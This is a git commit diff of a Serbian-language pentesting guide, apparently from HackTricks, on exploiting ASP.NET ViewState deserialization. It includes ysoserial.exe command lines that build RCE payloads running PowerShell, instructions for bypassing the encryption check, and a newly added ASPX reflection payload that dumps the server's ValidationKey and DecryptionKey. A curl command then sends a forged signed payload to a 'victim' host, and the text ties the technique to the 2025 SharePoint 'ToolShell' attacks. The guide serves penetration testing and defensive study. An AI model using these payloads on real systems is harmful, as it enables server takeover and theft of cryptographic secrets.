Translated ['src/pentesting-web/deserialization/exploiting-__viewstate-p

This commit is contained in:
Translator 2025-07-22 20:11:39 +00:00
parent 59df261990
commit 17325470a9

View File

@ -11,20 +11,20 @@
Informacije o ViewState-u mogu se karakterisati sledećim svojstvima ili njihovim kombinacijama:
- **Base64**:
- Ovaj format se koristi kada su oba atributa `EnableViewStateMac` i `ViewStateEncryptionMode` postavljena na false.
- **Base64 + MAC (Kod za autentifikaciju poruka) Omogućen**:
- Aktivacija MAC-a se postiže postavljanjem atributa `EnableViewStateMac` na true. Ovo obezbeđuje verifikaciju integriteta za ViewState podatke.
- **Base64 + Enkriptovan**:
- Enkripcija se primenjuje kada je atribut `ViewStateEncryptionMode` postavljen na true, obezbeđujući poverljivost ViewState podataka.
- Ovaj format se koristi kada su atributi `EnableViewStateMac` i `ViewStateEncryptionMode` postavljeni na false.
- **Base64 + MAC (Kod za autentifikaciju poruka) omogućen**:
- Aktivacija MAC-a se postiže postavljanjem atributa `EnableViewStateMac` na true. Ovo obezbeđuje verifikaciju integriteta podataka ViewState-a.
- **Base64 + Enkriptovano**:
- Enkripcija se primenjuje kada je atribut `ViewStateEncryptionMode` postavljen na true, obezbeđujući poverljivost podataka ViewState-a.
## Test slučajevi
Slika je tabela koja detaljno opisuje različite konfiguracije za ViewState u ASP.NET-u na osnovu verzije .NET framework-a. Evo sažetak sadržaja:
1. Za **bilo koju verziju .NET-a**, kada su i MAC i Enkripcija onemogućeni, MachineKey nije potreban, i stoga ne postoji primenljiva metoda za njegovo identifikovanje.
2. Za **verzije ispod 4.5**, ako je MAC omogućen, ali Enkripcija nije, MachineKey je potreban. Metoda za identifikovanje MachineKey-a se naziva "Blacklist3r."
3. Za **verzije ispod 4.5**, bez obzira na to da li je MAC omogućen ili onemogućen, ako je Enkripcija omogućena, MachineKey je potreban. Identifikovanje MachineKey-a je zadatak za "Blacklist3r - Budući razvoj."
4. Za **verzije 4.5 i više**, sve kombinacije MAC-a i Enkripcije (bilo da su oba true, ili jedan true a drugi false) zahtevaju MachineKey. MachineKey se može identifikovati koristeći "Blacklist3r."
1. Za **bilo koju verziju .NET-a**, kada su i MAC i enkripcija onemogućeni, MachineKey nije potreban, i stoga ne postoji primenljiva metoda za njegovo identifikovanje.
2. Za **verzije ispod 4.5**, ako je MAC omogućen, ali enkripcija nije, MachineKey je potreban. Metoda za identifikovanje MachineKey-a se naziva "Blacklist3r."
3. Za **verzije ispod 4.5**, bez obzira na to da li je MAC omogućen ili onemogućen, ako je enkripcija omogućena, MachineKey je potreban. Identifikovanje MachineKey-a je zadatak za "Blacklist3r - Budući razvoj."
4. Za **verzije 4.5 i više**, sve kombinacije MAC-a i enkripcije (bilo da su oba true, ili jedan true a drugi false) zahtevaju MachineKey. MachineKey se može identifikovati koristeći "Blacklist3r."
### Test slučaj: 1 EnableViewStateMac=false i viewStateEncryptionMode=false
@ -50,7 +50,7 @@ In order to **enable ViewState MAC** for a **specific page** we need to make fol
```bash
<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%>
```
Možemo to uraditi i za **celu** aplikaciju postavljanjem u **web.config** datoteci kao što je prikazano u nastavku:
Možemo to uraditi i za **celu** aplikaciju postavljanjem u **web.config** datoteku kao što je prikazano u nastavku:
```xml
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
@ -102,29 +102,29 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Inv
--generator = {__VIWESTATEGENERATOR parameter value}
```
U slučajevima kada server **ne šalje** `_VIEWSTATEGENERATOR` parametar, **ne** morate **navesti** `--generator` parametar **već ove**:
U slučajevima kada server **ne šalje** `_VIEWSTATEGENERATOR` parametar **ne morate** da **obezbedite** `--generator` parametar **već ove**:
```bash
--apppath="/" --path="/hello.aspx"
```
### Test Case: 3 .Net < 4.5 and EnableViewStateMac=true/false and ViewStateEncryptionMode=true
U ovom slučaju nije poznato da li je parametar zaštićen MAC-om. Tada je vrednost verovatno enkriptovana i **biće vam potrebna Mašinska Ključ za enkripciju vašeg payload-a** kako biste iskoristili ranjivost.
U ovom slučaju nije poznato da li je parametar zaštićen MAC-om. Tada je verovatno da je vrednost enkriptovana i **biće vam potrebna Mašinska Ključ za enkripciju vašeg payload-a** kako biste iskoristili ranjivost.
**U ovom slučaju** [**Blacklist3r**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) **modul je u razvoju...**
**Pre .NET 4.5**, ASP.NET može **prihvatiti** **nekriptovani** \_`__VIEWSTATE`\_parametar od korisnika **čak i** ako je **`ViewStateEncryptionMode`** postavljen na _**Uvek**_. ASP.NET **samo proverava** **prisutnost** **`__VIEWSTATEENCRYPTED`** parametra u zahtevu. **Ako se ovaj parametar ukloni i pošalje nekriptovani payload, on će i dalje biti obrađen.**
**Pre .NET 4.5**, ASP.NET može **prihvatiti** **nekriptovani** \_`__VIEWSTATE`\_parametar od korisnika **čak i** ako je **`ViewStateEncryptionMode`** postavljen na _**Uvek**_. ASP.NET **samo proverava** **prisutnost** **`__VIEWSTATEENCRYPTED`** parametra u zahtevu. **Ako se ukloni ovaj parametar i pošalje nekriptovani payload, on će i dalje biti obrađen.**
Stoga, ako napadači pronađu način da dobiju Mašinski ključ putem druge ranjivosti kao što je pretraga datoteka, [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) komanda korišćena u **Slučaju 2**, može se koristiti za izvođenje RCE koristeći ranjivost deserializacije ViewState-a.
Stoga, ako napadači pronađu način da dobiju Mašinski ključ putem druge ranjivosti kao što je pretraga fajlova, [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) komanda korišćena u **Slučaju 2**, može se koristiti za izvođenje RCE koristeći ranjivost deserializacije ViewState-a.
- Uklonite `__VIEWSTATEENCRYPTED` parametar iz zahteva kako biste iskoristili ranjivost deserializacije ViewState-a, inače će se vratiti greška u validaciji Viewstate MAC-a i eksploatacija će propasti.
### Test Case: 4 .Net >= 4.5 and EnableViewStateMac=true/false and ViewStateEncryptionMode=true/false except both attribute to false
Možemo naterati korišćenje ASP.NET okvira tako što ćemo navesti dole navedeni parametar unutar web.config datoteke kao što je prikazano ispod.
Možemo naterati korišćenje ASP.NET okvira tako što ćemo navesti dole navedeni parametar unutar web.config fajla kao što je prikazano ispod.
```xml
<httpRuntime targetFramework="4.5" />
```
Alternativno, ovo se može uraditi tako što se specificira opcija ispod unutar `machineKey` parametra u web.config datoteci.
Alternativno, ovo se može uraditi tako što ćete navesti opciju ispod unutar `machineKey` parametra u web.config datoteci.
```bash
compatibilityMode="Framework45"
```
@ -155,7 +155,7 @@ Ako imate vrednost `__VIEWSTATEGENERATOR`, možete pokušati da **koristite** pa
![](https://notsosecure.com/sites/all/assets/group/nss_uploads/2019/06/4.2.png)
Uspešna eksploatacija ranjivosti deserializacije ViewState-a dovodi do van-bend zahteva ka serveru pod kontrolom napadača, koji uključuje korisničko ime. Ova vrsta eksploata je prikazana u dokazu koncepta (PoC) koji se može pronaći kroz resurs pod nazivom "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET". Za dalja objašnjenja o tome kako funkcioniše proces eksploatacije i kako koristiti alate poput Blacklist3r za identifikaciju MachineKey-a, možete pregledati pruženi [PoC of Successful Exploitation](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC).
Uspešna eksploatacija ranjivosti deserializacije ViewState-a dovodi do zahteva van kanala ka serveru pod kontrolom napadača, koji uključuje korisničko ime. Ova vrsta eksploata je prikazana u dokazu koncepta (PoC) koji se može pronaći kroz resurs pod nazivom "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET". Za dalja objašnjenja o tome kako funkcioniše proces eksploatacije i kako koristiti alate poput Blacklist3r za identifikaciju MachineKey-a, možete pregledati pruženi [PoC of Successful Exploitation](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC).
### Test Case 6 ViewStateUserKeys se koristi
@ -170,12 +170,43 @@ Za sve test slučajeve, ako ViewState YSoSerial.Net payload radi **uspešno**, s
Proverite [dodatne informacije ovde](<https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/deserialization/[**https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)/README.md>)
## Reference
### Ispisivanje ASP.NET mašinskih ključeva putem refleksije (SharPyShell/SharePoint ToolShell)
Napadači koji su u mogućnosti da **otpreme ili izvrše proizvoljni ASPX kod** unutar ciljnog web korena mogu direktno da preuzmu tajne ključeve koji štite `__VIEWSTATE` umesto da ih brute-forcuju. Minimalni payload koji otkriva ključeve koristi interne .NET klase putem refleksije:
```csharp
<%@ Import Namespace="System.Web.Configuration" %>
<%@ Import Namespace="System.Reflection" %>
<script runat="server">
public void Page_Load(object sender, EventArgs e)
{
var asm = Assembly.Load("System.Web");
var sect = asm.GetType("System.Web.Configuration.MachineKeySection");
var m = sect.GetMethod("GetApplicationConfig", BindingFlags.Static | BindingFlags.NonPublic);
var cfg = (MachineKeySection)m.Invoke(null, null);
// Output: ValidationKey|DecryptionKey|Algorithm|CompatibilityMode
Response.Write($"{cfg.ValidationKey}|{cfg.DecryptionKey}|{cfg.Decryption}|{cfg.CompatibilityMode}");
}
</script>
```
Zahtev za stranicu ispisuje **ValidationKey**, **DecryptionKey**, algoritam enkripcije i ASP.NET režim kompatibilnosti. Ove vrednosti se sada mogu direktno uneti u **ysoserial.net** da bi se kreirao validan, potpisan `__VIEWSTATE` uređaj:
```bash
ysoserial.exe -p ViewState -g TypeConfuseDelegate \
-c "powershell -nop -c \"whoami\"" \
--generator=<VIEWSTATE_GENERATOR> \
--validationkey=<VALIDATION_KEY> --validationalg=<VALIDATION_ALG> \
--decryptionkey=<DECRYPTION_KEY> --decryptionalg=<DECRYPTION_ALG> \
--islegacy --minify
curl "http://victim/page.aspx?__VIEWSTATE=<PAYLOAD>"
```
Ova **key-exfiltration primitive** je masovno iskorišćena protiv on-prem SharePoint servera 2025. godine ("ToolShell" CVE-2025-53770/53771), ali je primenljiva na svaku ASP.NET aplikaciju gde napadač može da pokrene server-side kod.
## References
- [**https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)
- [**https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817**](https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817)
- [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
- [**https://blog.blacklanternsecurity.com/p/introducing-badsecrets**](https://blog.blacklanternsecurity.com/p/introducing-badsecrets)
- [SharePoint “ToolShell” exploitation chain (Eye Security, 2025)](https://research.eye.security/sharepoint-under-siege/)